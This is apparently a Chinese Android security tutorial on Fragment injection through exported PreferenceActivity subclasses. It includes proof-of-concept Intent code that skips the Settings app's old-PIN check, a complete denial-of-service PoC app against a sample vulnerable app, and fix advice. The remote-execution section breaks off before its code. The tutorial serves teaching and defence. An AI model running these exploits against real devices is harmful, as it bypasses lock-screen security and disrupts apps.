在线不卡日本ⅴ一区v二区_精品一区二区中文字幕_天堂v在线视频_亚洲五月天婷婷中文网站

  • <menu id="lky3g"></menu>
  • <style id="lky3g"></style>
    <pre id="lky3g"><tt id="lky3g"></tt></pre>

    關(guān)于Android Fragment 漏洞,你了解多少?


    也許每個人出生的時候都以為這世界都是為他一個人而存在的,當(dāng)他發(fā)現(xiàn)自己錯的時候,他便開始長大

    少走了彎路,也就錯過了風(fēng)景,無論如何,感謝經(jīng)歷


    更多關(guān)于Android安全的知識,可前往:https://blog.csdn.net/ananasorangey/category11955914.html

    0x01 前言

    為了適應(yīng)越來越大的設(shè)備屏幕,Android 3.X后引入了Fragment概念,作用是可以在一個屏幕上同時顯示多個Activity,以達(dá)到充分利用屏幕的目的。其中,F(xiàn)ragment有一個很強(qiáng)大的功能,就是可以動態(tài)加載。這樣可以讓整個界面的開發(fā)更加靈活,可以根據(jù)不同的場景動態(tài)加加載不同的Activity

    Fragment:

    • 是Android 3.0(API 11)提出的,為了兼容低版本,support-v4庫中也開發(fā)了一套Fragment API,最低兼容Android 1.6,如果要在最新的版本中使用Fragment,需要引入AndroidX的包
    • 是Activity中用戶界面的一個行為或者是一部分。主要是支持在大屏幕上動態(tài)和更為靈活的去組合或是交換UI組件,通過將Activity的布局分割成若干個Fragment,可以在運(yùn)行時編輯Activity的呈現(xiàn),并且那些變化會被保存在由Activity管理的后臺棧里面
    • 必須總是被嵌入到一個Activity之中,并且Fragment的生命周期直接受其宿主Activity的生命周期的影響??梢哉J(rèn)為Fragment是Activity的一個模塊零件,它有自己的生命周期,接收它自己的輸入事件,并且可以在Activity運(yùn)行時添加或者刪除

    簡單的來說,應(yīng)該將每一個Fragment設(shè)計為模塊化的和可復(fù)用化的Activity組件。也就是說,你可以在多個Activity中引用同一個Fragment,因?yàn)镕ragment定義了它自己的布局,并且使用它本身生命周期回調(diào)的行為

    相比Activity,F(xiàn)ragment具有如下一些特點(diǎn):

    • 模塊化(Modularity):我們不必把所有代碼全部寫在Activity中,而是把代碼寫在各自的Fragment中
    • 可重用(Reusability):多個Activity可以重用一個Fragment
    • 可適配(Adaptability):根據(jù)硬件的屏幕尺寸、屏幕方向,能夠方便地實(shí)現(xiàn)不同的布局,這樣用戶體驗(yàn)更好

    Fragment 幾個核心的類:

    • Fragment:Fragment的基類,任何創(chuàng)建的Fragment都需要繼承該類
    • FragmentManager:管理和維護(hù)Fragment。它是抽象類,具體的實(shí)現(xiàn)類是FragmentManagerImpl
    • FragmentTransaction:對Fragment的添加、刪除等操作都需要通過事務(wù)方式進(jìn)行。它是抽象類,具體的實(shí)現(xiàn)類是BackStackRecord

    1.1 生命周期

    Fragment必須是依存于Activity而存在的,因此Activity的生命周期會直接影響到Fragment的生命周期。正常情況下,Activity會經(jīng)歷如下幾個階段:

    生命周期函數(shù)

    相關(guān)解釋

    onAttach()

    關(guān)聯(lián)到Activity的時候調(diào)用。如果,需要使用Activity的引用或者使用Activity作為其他操作的上下文,將在此回調(diào)方法中實(shí)現(xiàn)

    onCreate()

    系統(tǒng)創(chuàng)建Fragment的時候回調(diào)

    onCreateView()

    當(dāng)?shù)谝淮卫L制Fragment的UI時系統(tǒng)調(diào)用這個方法,該方法將返回一個View,如果Fragment不提供UI也可以返回null。注意,如果繼承自ListFragment,onCreateView()默認(rèn)的實(shí)現(xiàn)會返回一個ListView,所以不用自己實(shí)現(xiàn)。這個函數(shù)的Bundle參數(shù)和onCretate()函數(shù)的Bundle蠶食是同一個

    onActivityCreated()

    當(dāng)Activity中的onCreate方法執(zhí)行完后調(diào)用。可以在這個函數(shù)里面做和Activity UI交互的操作(因?yàn)锳ctivity的onCreate()函數(shù)之后Activity的UI已經(jīng)準(zhǔn)備好了,可以UI交互)。這個函數(shù)的Bundle參數(shù)和onCretate()函數(shù)的Bundle蠶食是同一個

    onStart()

    啟動Fragment的時候回調(diào),這個時候Fragment可見

    onResume()

    Fragment變?yōu)榛顒訝顟B(tài)獲取焦點(diǎn)的時候是回調(diào),這個時候Fragment已經(jīng)完全展示在前臺,并且可以和用戶交互

    onPause()

    Fragemnt變成非活動狀態(tài)失去焦點(diǎn)的時候調(diào)用,注意這個時候Fragment還是可見的,只是不能和用戶交互了而已

    onStop()

    Fragment變成不可見的時候調(diào)用。這個時候Fragment還是活著的,只是可能別加入到了Fragment的回退棧中

    onDestroyView()

    Fragment中的布局被移除的時候調(diào)用

    onDestroy()

    Fragment被銷毀的時候調(diào)用

    onDetach()

    Fragment和Activity解除關(guān)聯(lián)的時候調(diào)用個

    如下圖所示:

    如下圖是Activity的生命周期和Fragment的各個生命周期方法的對應(yīng)關(guān)系:

    1.2 與Activity傳遞數(shù)據(jù)

    1)將Fragment添加到Activity之中

    可以通過在Activity布局文件中聲明Fragment,用Fragment標(biāo)簽把Fragment插入到Activity的布局中,或者是用應(yīng)用程序源碼將它添加到一個存在的ViewGroup中。  但Fragment并不是一個定要作為Activity布局的一部分,F(xiàn)ragment也可以為Activity隱身工作

    2)在Activity的布局文件里聲明Fragment

    可以像為view一樣為Fragment指定布局屬性。例如:

     

    Fragment標(biāo)簽中的android:name 屬性指定了布局中實(shí)例化的Fragment類。

    當(dāng)系統(tǒng)創(chuàng)建Activity布局時,它實(shí)例化了布局文件中指定的每一個Fragment,并為它們調(diào)用onCreateView()函數(shù),以獲取每一個Fragment的布局。系統(tǒng)直接在元素的位置插入Fragment返回的View

    注:每個Fragment都需要一個唯一的標(biāo)識,如果重啟Activity,系統(tǒng)可用來恢復(fù)Fragment(并且可用來捕捉Fragment的事務(wù)處理,例如移除)。為Fragment提供ID有三種方法:

    1)用android:id屬性提供一個唯一的標(biāo)識2)用android:tag屬性提供一個唯一的字符串3)如果上述兩個屬性都沒有,系統(tǒng)會使用其容器視圖(view)的ID

    3)通過編碼將Fragment添加到已存在的ViewGroup中

    在Activity運(yùn)行的任何時候,你都可以將Fragment添加到Activity布局中。要管理Activity中的Fragment,可以使用FragmentManager??梢酝ㄟ^在Activity中調(diào)用getFragmentManager()獲得。使用FragmentManager 可以做如下事情,包括:

    • 使用findFragmentById()(用于在Activity布局中提供有界面的Fragment)或者findFragmentByTag()獲取Activity中存在的Fragment(用于有界面或者沒有界面的Fragment)
    • 使用popBackStack()(模仿用戶的BACK命令)從后臺棧彈出Fragment
    • 使用addOnBackStackChangedListener()注冊一個監(jiān)聽后臺棧變化的監(jiān)聽器

    在Android中,對Fragment的事務(wù)操作都是通過FragmentTransaction來執(zhí)行。操作大致可以分為兩類:

    • 顯示:add() replace() show() attach()
    • 隱藏:remove() hide() detach()

    注:調(diào)用show() & hide()方法時,F(xiàn)ragment的生命周期方法并不會被執(zhí)行,僅僅是Fragment的View被顯示或者隱藏

    • 執(zhí)行replace()時(至少兩個Fragment),會執(zhí)行第二個Fragment的onAttach()方法、執(zhí)行第一個Fragment的onPause()-onDetach()方法,同時containerView會detach第一個Fragment的View
    • add()方法執(zhí)行onAttach()-onResume()的生命周期,相對的remove()就是執(zhí)行完成剩下的onPause()-onDetach()周期

    可以像下面這樣從Activity中取得FragmentTransaction的實(shí)例:

    FragmentManager FragmentManager = getFragmentManager() FragmentTransaction FragmentTransaction = FragmentManager.beginTransaction();

    可以用add()函數(shù)添加Fragment,并指定要添加的Fragment以及要將其插入到哪個視圖(view)之中(注意commit事務(wù)):

    ExampleFragment Fragment = new ExampleFragment();FragmentTransaction.add(R.id.Fragment_container, Fragment);FragmentTransaction.commit();

    4)Fragment事務(wù)后臺棧

    在調(diào)用commit()之前,可以將事務(wù)添加到Fragment事務(wù)后臺棧中(通過調(diào)用addToBackStatck())。這個后臺棧由Activity管理,并且允許用戶通過按BACK鍵回退到前一個Fragment狀態(tài)。

    下面的代碼中一個Fragment代替另一個Fragment,并且將之前的Fragment狀態(tài)保留在后臺棧中:

    Fragment newFragment = new ExampleFragment();FragmentTransaction transaction = getFragmentManager().beginTransaction();transaction.replace(R.id.Fragment_container, newFragment);transaction.addToBackStack(null);transaction.commit();

    注:

    • 如果添加多個變更事務(wù)(例如另一個add()或者remove())并調(diào)用addToBackStack(),那么在調(diào)用commit()之前的所有應(yīng)用的變更被作為一個單獨(dú)的事務(wù)添加到后臺棧中,并且BACK鍵可以將它們一起回退
    • 當(dāng)移除一個Fragment時,如果調(diào)用了addToBackStack(),那么之后Fragment會被停止,如果用戶回退,它將被恢復(fù)過來
    • 調(diào)用commit()并不立刻執(zhí)行事務(wù),相反,而是采取預(yù)約方式,一旦Activity的界面線程(主線程)準(zhǔn)備好便可運(yùn)行起來。然而,如果有必要的話,你可以從界面線程調(diào)用executePendingTransations()立即執(zhí)行由commit()提交的事務(wù)
    • 只能在Activity保存狀態(tài)(當(dāng)用戶離開Activity時)之前用commit()提交事務(wù)。如果你嘗試在那時之后提交,會拋出一個異常。這是因?yàn)槿绻鸄ctivity需要被恢復(fù),提交后的狀態(tài)會被丟失。對于這類丟失提交的情況,可使用commitAllowingStateLoss()

    5)與Activity交互

    Activity中已經(jīng)有了該Fragment的引用,直接通過該引用進(jìn)行交互。

    如果沒引用可以通過調(diào)用Fragment的函數(shù)findFragmentById()或者findFragmentByTag(),從FragmentManager中獲取Fragment的索引,例如:

    ExampleFragment Fragment = (ExampleFragment) getFragmentManager().findFragmentById(R.id.example_Fragment);

    在Fragment中可以通過getActivity得到當(dāng)前綁定的Activity的實(shí)例,創(chuàng)建Activity事件回調(diào)函數(shù),在Fragment內(nèi)部定義一個回調(diào)接口,宿主Activity來實(shí)現(xiàn)它。Activity向Fragment傳參:

    很多人提到向Fragment傳遞參數(shù)會下意識想到重寫Fragment的構(gòu)造方法并傳入自己的參數(shù)。事實(shí)上,這種方式時極不科學(xué)和極不安全的,因?yàn)锳ndroid在很多場景下都會出現(xiàn)Fragment的重建情況(比如橫豎屏的切換),但是重建的時候系統(tǒng)并不會使用你編寫的Fragment的構(gòu)造方法而是調(diào)用Fragment默認(rèn)的構(gòu)造方法,這個時候你傳的參數(shù)將會消失導(dǎo)致各種異常。那么如何更安全地向Fragment傳遞參數(shù)呢,Google官方推薦的setArguments方法:

    • 初始化Fragment實(shí)例并setArguments

    DiscoverFragment discoverFragment = new DiscoverFragment();Bundle bundle = new Bundle();bundle.putString(“email”, email);discoverFragment.setArguments(bundle);

    • 在Fragment中拿到Arguments:

    @Nullable@Overridepublic View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {View view = inflater.inflate(R.layout.Fragment_discover, null);Bundle bundle = getArguments();//這里就拿到了之前傳遞的參數(shù)email = bundle.getString(“email”);return view;}

    • Fragment向Activity傳遞數(shù)據(jù)

    首先,在Fragment中定義接口,并讓Activity實(shí)現(xiàn)該接口,如下:

    public interface OnFragmentInteractionListener {void onItemClick(String str);}

    接下來,在Fragment的onAttach()中,將參數(shù)Context強(qiáng)轉(zhuǎn)為OnFragmentInteractionListener對象傳遞過去

    public void onAttach(Context context) {super.onAttach(context);if (context instanceof OnFragmentInteractionListener) {mListener = (OnFragmentInteractionListener) context;} else {throw new RuntimeException(context.toString()+ ” must implement OnFragmentInteractionListener”);}}

    • Activity向Fragment傳遞數(shù)據(jù)

    在創(chuàng)建Fragment的時候,可以通過setArguments(Bundle bundle)方式將值傳遞給Activity,如下:

    public static Fragment newInstance(String str) {FragmentTest fragment = new FragmentTest();Bundle bundle = new Bundle();bundle.putString(ARG_PARAM, str);fragment.setArguments(bundle);//設(shè)置參數(shù)return fragment;}

    6)Fragment && Fragment數(shù)據(jù)交互

    Fragment和Fragment間數(shù)據(jù)交互,應(yīng)該也是會經(jīng)常用到的。可使用宿主Activity做傳遞媒介,原理其實(shí)也是通過使用onActivityResult回調(diào),完成Fragment && Fragment的數(shù)據(jù)交互,這其中有兩個比較重要的方法:Fragment.setTargetFragment、getTargetFragment()

    在 FirstFragment 中,通過setTargetFragment來連接需要交互的Fragment:

    secondFragment.setTargetFragment(FirstFragment.this, REQUEST_CODE);

    接著實(shí)現(xiàn)onActivityResult,處理傳遞過來的數(shù)據(jù):

    @Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if(resultCode != Activity.RESULT_OK){ return; }else{ Integer str = data.getIntExtra(“key”,-1); //處理數(shù)據(jù)… } }

    在 SecondFragment 中調(diào)用sendResult()方法,回傳數(shù)據(jù)給 FirstFragment:

    private void sendResult(int resultOk) {if (getTargetFragment() == null) {return} else {Intent intent = new Intent();intent.putExtra(“key”, 520);getTargetFragment().onActivityResult(FirstFragment.REQUEST_CODE, resultOk, intent)}}

    1.3 Android Fragment 漏洞產(chǎn)生的原因

    Android是基于Linux開放性內(nèi)核的操作系統(tǒng),是Google公司在2007年發(fā)布的手機(jī)操作系統(tǒng)

    Google Android 4.3及之前版本的沙盒環(huán)境存在安全漏洞,該漏洞影響任何使用PreferenceActivity類的應(yīng)用,包括Settings, Gmail, Google Now, Dropbox, Evernote。攻擊者可利用此漏洞執(zhí)行任意代碼,從而繞過Android沙盒,執(zhí)行未授權(quán)操作

    Android 4.3及之前版本在應(yīng)用中采用不安全的 PreferenceActivity 類實(shí)施方式的開發(fā)者。在這種情況下,這些類會讓人利用 Fragment 實(shí)現(xiàn)注入攻擊,這種實(shí)現(xiàn)方式讓惡意的外部應(yīng)用可以加載原本不公開的 Fragment。例如,通過導(dǎo)出的PreferenceActivity的子類,沒有正確處理Intent的extra值。攻擊者可繞過限制訪問未授權(quán)的界面

    從 2017 年 3 月 1 日起,Google Play 開始禁止發(fā)布存在以下情況的新應(yīng)用或應(yīng)用更新:其 PreferenceActivity 類可能有安全漏洞,讓攻擊者可以利用 Fragment 實(shí)現(xiàn)注入攻擊。請參閱 Play 管理中心內(nèi)的通知。在 Play 管理中心顯示的截止日期過后,系統(tǒng)可能會將所有包含未修復(fù)安全漏洞的應(yīng)用從 Google Play 中移除

    產(chǎn)生的原因:

    • 錯誤地實(shí)施 isValidFragment:

    檢查存在漏洞的類是否包含或沿用了實(shí)施 isValidFragment 的方式(即在所有代碼路徑中返回 True)。如果確實(shí)是這樣,請更新該類,以檢查是否存在允許的 Fragment 類列表。例如:如果 PreferenceActivity 應(yīng)該允許使用 MyFragment 類而不得使用其他 Fragment,請按照如下方式實(shí)施檢查:

    public boolean isValidFragment(String fragmentName) {return MyFragment.class.getName().equals(fragmentName);}

    • targetSdkVersion 小于 19 并且未實(shí)施 isValidFragment:

    如果應(yīng)用目前在清單中將其 targetSdkVersion 設(shè)為小于 19 的值,并且存在漏洞的類不包含 isValidFragment 的任何實(shí)施方式,那么漏洞便來自于 PreferenceActivity。

    注:由于Fragment可以加載APP內(nèi)的任意未導(dǎo)出組件,因此Fragment注入漏洞可攻擊面比較廣

    0x02 經(jīng)典Setting Fragment Inject漏洞之繞過舊密碼驗(yàn)證修改密碼

    首先我們來看一個經(jīng)典的老洞,雖然現(xiàn)在沒有了,但漏洞產(chǎn)生的原理,還是值得思考,而且修復(fù)的方式并不一定代表再新的版本中就不存在,這取決于開發(fā)人員的安全能力

    Android 4.4之前版本的Fragment繞過PIN碼攻擊原理:

    • 導(dǎo)出的PreferenceActivity的子類中,沒有加入isValidFragment方法,進(jìn)行fragment名的合法性校驗(yàn),攻擊者可能會通過設(shè)置Intent的extra,實(shí)現(xiàn)動態(tài)修改PreferenceActivity的初次顯示的Fragment,來繞過限制,訪問未授權(quán)的界面

    攻擊條件:

    • Android 4.3及之前版本
    • 有Activity繼承PreferenceActivity類并且被聲明成export=true

    攻擊面:

    • 在Java中,當(dāng)一個對象被構(gòu)建的時候,這個類的靜態(tài)構(gòu)建函數(shù)和對象的構(gòu)建函數(shù)都被執(zhí)行,如果這兩個函數(shù)包含特定的代碼, 則可以觸發(fā)攻擊,由于構(gòu)建出來的對象需要轉(zhuǎn)換成Fragment對象,所以當(dāng)產(chǎn)生的對象不是Fragment類型則會出異常
    • 但是,如果這個對象剛好是一個Fragment類型時,PreferenceActivity能展現(xiàn)對應(yīng)的界面,可以繞過某些驗(yàn)證而直接呼出對應(yīng)的界面

    手工檢測:

    • 反編譯APK,檢索到繼承PreferenceActivity的子類,查看子類是否重寫了isValidFragment方法,Activity是否對外暴露(exported)

    相關(guān)知識:

    • PreferenceActivity兩個重要的Intent Extra

    這兩個參數(shù)可以決定當(dāng)前的PreferenceActivity首次顯示的Fragment

    // extra域包含PreferenceActivity要動態(tài)加載的FragmentPreferenceActivity.EXTRA_SHOW_FRAGMENT (‘:android:show_fragment’) // extra域包含傳給該Fragment的參數(shù)PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS (‘:android:show_fragment_arguments’)

    注:Android Framework提供了android.preference.PreferenceActivity這個類來對preference進(jìn)行展示,我們可以繼承這個類來展示preference并進(jìn)行擴(kuò)展?;愔袝邮誌ntent數(shù)據(jù),并進(jìn)行一定檢查,如上兩個類就是

    Fragment與Activity的關(guān)系:

    • 一個activity提供一個單一的屏幕和一些功能,一個activity可以包含多個Fragment
    • Fragment可以在不同的activities中重用

    Android框架支持在Activity中以Fragment的形式展示界面,而PreferenceActivity是一個支持Fragment的基類activity,它會根據(jù)傳人的參數(shù)EXTRA_SHOW_FRAGMENT, (‘:android:show_fragment’)動態(tài)創(chuàng)建fragment而現(xiàn)實(shí)相應(yīng)的界面, 問題就出在PreferenceActivity沒有檢查傳入的參數(shù), 盲目的根據(jù)傳入的參數(shù)構(gòu)建對象

    利用Fragment實(shí)現(xiàn)注入攻擊。從3.X后,Android工程師重構(gòu)PreferenceActivity的實(shí)現(xiàn),采用Fragment實(shí)現(xiàn)界面的加載。通過閱讀源碼可以發(fā)現(xiàn),PreferenceActivity的onCreate里,需要讀取Intent的多個extra內(nèi)容,常量都定義在PreferenceActivity里(那堆EXTRA_XXXX就是了),其中有兩個常量分別是EXTRA_SHOW_FRAGMENT=”:android:show_fragment”和EXTRA_SHOW_FRAGMENT_ARGUMENTS=”:android:show_fragment_args”,這兩個參數(shù)可以決定當(dāng)前的PreferenceActivity首次顯示的Fragment。過程比較簡單,就是先拿到fragment_class和fragment_args,然后通過反射生成一個Fragment實(shí)例,并動態(tài)加載。參數(shù)傳遞關(guān)鍵點(diǎn):參數(shù)傳遞

    • 第一個extra域包含PreferenceActivity要動態(tài)加載的Fragment,F(xiàn)ragment也可以通過Fragment.getActivity這個函數(shù)來獲取傳進(jìn)來的參數(shù)。PreferenceActivity會調(diào)用Fragment.instantiate來動態(tài)加載Fragment.這個函數(shù)通過反射來加載Fragment,并把它變成Fragment對象
    • 第二個extra域包含傳給該Fragment的參數(shù),其中最關(guān)鍵的邏輯代碼如下:

    mSinglePane = hidingHeaders || !onIsMultiPane();String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

    先獲取initalFragment和initialArguments兩個參數(shù),之后在switchToHeaderInner里完成實(shí)例化:

    private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {getFragmentManager().popBackStack(BACK_STACK_PREFS, FragmentManager.POP_BACK_STACK_INCLUSIVE);Fragment f = Fragment.instantiate(this, fragmentName, args);FragmentTransaction transaction = getFragmentManager().beginTransaction();transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);transaction.replace(com.android.internal.R.id.prefs, f);transaction.commitAllowingStateLoss();}

    到此為止,我們可以通過設(shè)置Intent的extral,實(shí)現(xiàn)動態(tài)修改PreferenceActivity的初次顯示的Fragment

    多啰嗦一下,其實(shí)Fragment也可以通過Fragment.getActivity這個函數(shù)來獲取傳進(jìn)來的參數(shù)。PreferenceActivity會調(diào)用Fragment.instantiate來動態(tài)加載Fragment.這個函數(shù)通過反射來加載Fragment,并把它變成Fragment對象,如下圖:

    https://www.androidos.net.cn/android/4.3_r1/xref/frameworks/base/core/java/android/app/Fragment.java

    任何繼承自PreferenceActivity并對外導(dǎo)出的組件,都會受到攻擊。惡意APP可以傳android:show_fragment這個extra值來指定要動態(tài)加載的類。在PreferenceActivity的context里,通過dalvik.system.PathClassLoader函數(shù)來動態(tài)加載類,由于沒有對請求的APP進(jìn)行校驗(yàn),惡意APP可以動態(tài)加載有漏洞APP里面的任何類(包括未導(dǎo)出類),使得惡意APP可以訪問有漏洞APP的隱私信息

    對比4.4和4.2之間的區(qū)別代碼,如下:

    https://www.androidos.net.cn/android/4.4.4_r1/xref/frameworks/base/core/java/android/app/Fragment.java

    https://www.androidos.net.cn/android/4.2.2_r1/xref/frameworks/base/core/java/android/app/Fragment.java

    在Android系統(tǒng)里,APP與APP是互相隔離的,互相之間不能訪問對方的私有數(shù)據(jù)。APP與APP之間(更準(zhǔn)確地說應(yīng)該是組件與組件之間)的通訊,統(tǒng)一使用Intent。通過Intent可以很方便的喚起其他APP的Activity,達(dá)到功能重用的目的。比如平時使用ZAKER,你需要在微信圈里分享,通過這種方式就可以直接跳到微信的分享界面了。但使用這種方式的前提是目標(biāo)Activity是exported的

    結(jié)合上面的兩個關(guān)鍵點(diǎn),我們是否可以尋找一個exported的PreferenceActivity的子類,并通過精心設(shè)置Intent的extral的值,以實(shí)現(xiàn)打開那些沒有exported的界面呢?如果這些界面涉及安全方面信息的話,又會怎樣呢?

    Android 3.X到4.3中的所有版本的一個漏洞,太老了沒啥用(但攻擊的思路以及概念值得參考),Setting幾乎每個Android設(shè)備都有的。Setting是以system_uid方式簽名,所以具備行使system的權(quán)力。它的主界面com.android.settings.Settings就是繼承自PreferenceActivity,而且肯定是exported。我們以此作為入口,嘗試尋找Setting里有哪些重要的Fragment,并嘗試把它加載進(jìn)來,主要目的是希望可以跳過某些需要用戶交互的限制。比如說ChooseLockPassword$ChooseLockPasswordFragment這個Fragment,這個類主要是負(fù)責(zé)鎖屏界面的密碼設(shè)定和修改。同時,這個類會根據(jù)之前傳入的initialArguments做不同的邏輯,關(guān)鍵代碼如下所示:

    Intent intent = getActivity().getIntent();final boolean confirmCredentials = intent.getBooleanExtra(“confirm_credentials”, true);if (savedInstanceState == null) {updateStage(Stage.Introduction);if (confirmCredentials) {mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST, null, null);}} else {mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);final String state = savedInstanceState.getString(KEY_UI_STAGE);if (state != null) {mUiStage = Stage.valueOf(state);updateStage(mUiStage);}}

    如果傳入的參數(shù)當(dāng)中,key為”confirm_credentials”為true,就會調(diào)起舊密碼驗(yàn)證的流程。如果為false,就可以跳過舊密碼驗(yàn)證而直接進(jìn)入密碼修改的流程。測試代碼如下所示:

    Intent intent = new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);intent.setClassName(“com.android.settings”, “com.android.settings.Settings”);intent.putExtra(“: android: show_fragment”, “com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment”);intent.putExtra(“confirm_credentials”, false);startActivity(intent);

    繞過密碼PIN BUG存在于3.X到4.3中的所有版本,4.4已經(jīng)修復(fù)了,在Android 4.4中強(qiáng)制所有PreferenceActivity必須要實(shí)現(xiàn)isValidFragment方法,如下:

    https://developer.android.com/reference/android/preference/PreferenceActivity.html#isValidFragment(java.lang.String)

    正常的密碼修改流程是”設(shè)置”->“安全”->“屏幕鎖定”->“確認(rèn)你的PIN”,如下:

    如果利用攻擊代碼,即可跳過“確認(rèn)你的PIN”直接進(jìn)入“選擇你的PIN”頁面,如下:

    注:漏洞雖然修復(fù)了,但是修復(fù)能力主要依賴于開發(fā)人員的安全能力問題,這類問題在新版本上,依然存在

    2.1 修復(fù)建議

    • 如果應(yīng)用的Activity組件不必要導(dǎo)出,或者組件配置了intent filter標(biāo)簽,建議顯示設(shè)置組件的“android:exported”屬性為false
    • 重寫繼承子類的isValidFragment方法,驗(yàn)證Fragment來源的正確性
    • 當(dāng)targetSdk大于等于19時,強(qiáng)制實(shí)現(xiàn)了isValidFragment方法;小于19時,在PreferenceActivity的子類中都要加入isValidFragment ,兩種情況下在isValidFragment方法中進(jìn)行fragment名的合法性校驗(yàn)。
    • isValidFragment(String fragmentName) 返回Boolean(子類應(yīng)當(dāng)重寫這個方法,并對fragment進(jìn)行校驗(yàn)判斷)

    public final class MyPreferenceActivity extends PreferenceActivity {private boolean doValidcheck(String fragmentName) throws IllegalArgumentException {// TODO 做合法性檢查return true;// 注意check,千萬要注意}// 添加上這個方法,以使2.x~4.3的代碼在4.4上可以正常運(yùn)行protected boolean isValidFragment(String fragmentName) {return doValidcheck(fragmentName);}@Overrideprotected void onCreate(Bundle savedInstanceState) {// 在onCreate前就做合法性判斷Stringfragmentname = getIntent().getStringExtra(“:android:show_fragment”);doValidcheck(fragmentname);super.onCreate(savedInstanceState);}}

    0x03 Android Fragment之拒絕服務(wù)

    樣本APK下載地址:https://github.com/AndroidAppSec/vuls/releases/tag/v4.2

    由于通過該漏洞可以加載APP里面的任何類,包括未導(dǎo)出類,如果未導(dǎo)出類對畸形消息處理不當(dāng),將會導(dǎo)致本地拒絕服務(wù)漏洞。下面以vuls.apk為例

    ddns.android.vuls.activities.Activity.FragmentActivity組件對外導(dǎo)出:

    ddns.android.vuls.activities.Activity.FragmentActivity組件繼承自PreferenceActivity:

    public class FragmentActivity extends PreferenceActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overrideprotected boolean isValidFragment(String fragmentName) {Log.e(“FragmentVuls”, “fragmentName: ” + fragmentName);return true;}}

    由于沒有對Fragment注入漏洞進(jìn)行防御,可通過該漏洞加載app內(nèi)任意不導(dǎo)出的組件。選擇com.irccloud.android.fragment.ServerReorderFragment作為攻擊目標(biāo):

    public class TargetFragment extends Fragment {public TargetFragment() {Log.e(“DDNS: “, “TargetFragment’s constructor”);}@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overridepublic View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {View view = inflater.inflate(R.layout.fragment_target,null);WebView webview = (WebView) view.findViewById(R.id.webview_fragment);webview.getSettings().setJavaScriptEnabled(true);webview.loadUrl(getActivity().getIntent().getDataString());return view;}}

    ServerReorderFragment沒有對畸形消息進(jìn)行處理,導(dǎo)致拒絕服務(wù),攻擊EXP,如下:

    • MainActivity.java 代碼:

    package com.example.testpoc4;import androidx.appcompat.app.AppCompatActivity;import android.content.Intent;import android.os.Bundle;import android.util.Log;import android.view.View;import android.widget.Button;import android.widget.Toast;public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);// 獲取控件idButton button1 = findViewById(R.id.button);// 監(jiān)聽點(diǎn)擊事件button1.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View v) {// 要執(zhí)行的操作Intent intent=new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);//包名 包名+類名(全路徑)intent.setClassName(“ddns.android.vuls”, “ddns.android.vuls.activities.Activity.FragmentActivity”);intent.putExtra(“:android:show_fragment”,”BaoBaoBaoBaoBaoBao”);startActivity(intent);//成功Dos后的提示Toast.makeText(MainActivity.this,”Dos攻擊ddns.android.vuls應(yīng)用”, Toast.LENGTH_SHORT).show();Log.d(“拒絕服務(wù)攻擊:”,”ddns.android.vuls 應(yīng)用被Dos攻擊”);}});}}

    • activity_main.xml 代碼:

    效果如下:

    0x04 Android Fragment之遠(yuǎn)程命令執(zhí)行

    由于現(xiàn)在很多組件都是基于Webview來展示頁面,并且Fragment組件應(yīng)用越來越廣,以后將會有越來越多的Webview組件是基于Fragment來展示。由于Fragment注入漏洞可以加載app內(nèi)任意未導(dǎo)出組件,如果基于Fragment的Webview組件存在addJavascriptInterface漏洞,將會導(dǎo)致遠(yuǎn)程命令執(zhí)行漏洞。大家可以在市面上老的APP里找下,發(fā)現(xiàn)很多Webview組件基于Fragment,但是繼承自PreferenceActivity的組件是不導(dǎo)出的。因此,下面將利用vuls.apk來做驗(yàn)證可行性,當(dāng)然同學(xué)你可以自己寫個demo來做嘗試,下面測試的環(huán)境是在Android 4.4中進(jìn)行的

    ddns.android.vuls.activities.Activity.FragmentActivity組件對外導(dǎo)出,并繼承自PreferenceActivity:

    WebviewFragment導(dǎo)出JavaScript接口,并加載URL(在 vuls 中有以下的 Fragment)。如下攻擊場景中可讓Fragment加載指定的網(wǎng)頁:

    public class TargetFragment extends Fragment {public TargetFragment() {Log.e(“DDNS: “, “TargetFragment’s constructor”);}@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overridepublic View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {View view = inflater.inflate(R.layout.fragment_target,null);WebView webview = (WebView) view.findViewById(R.id.webview_fragment);webview.getSettings().setJavaScriptEnabled(true);webview.loadUrl(getActivity().getIntent().getDataString());return view;}}

    利用Fragment Injection漏洞對TargetFragment攻擊,加載任意 Fragment 攻擊的EXP,如下:

    • MainActivity.java 代碼:

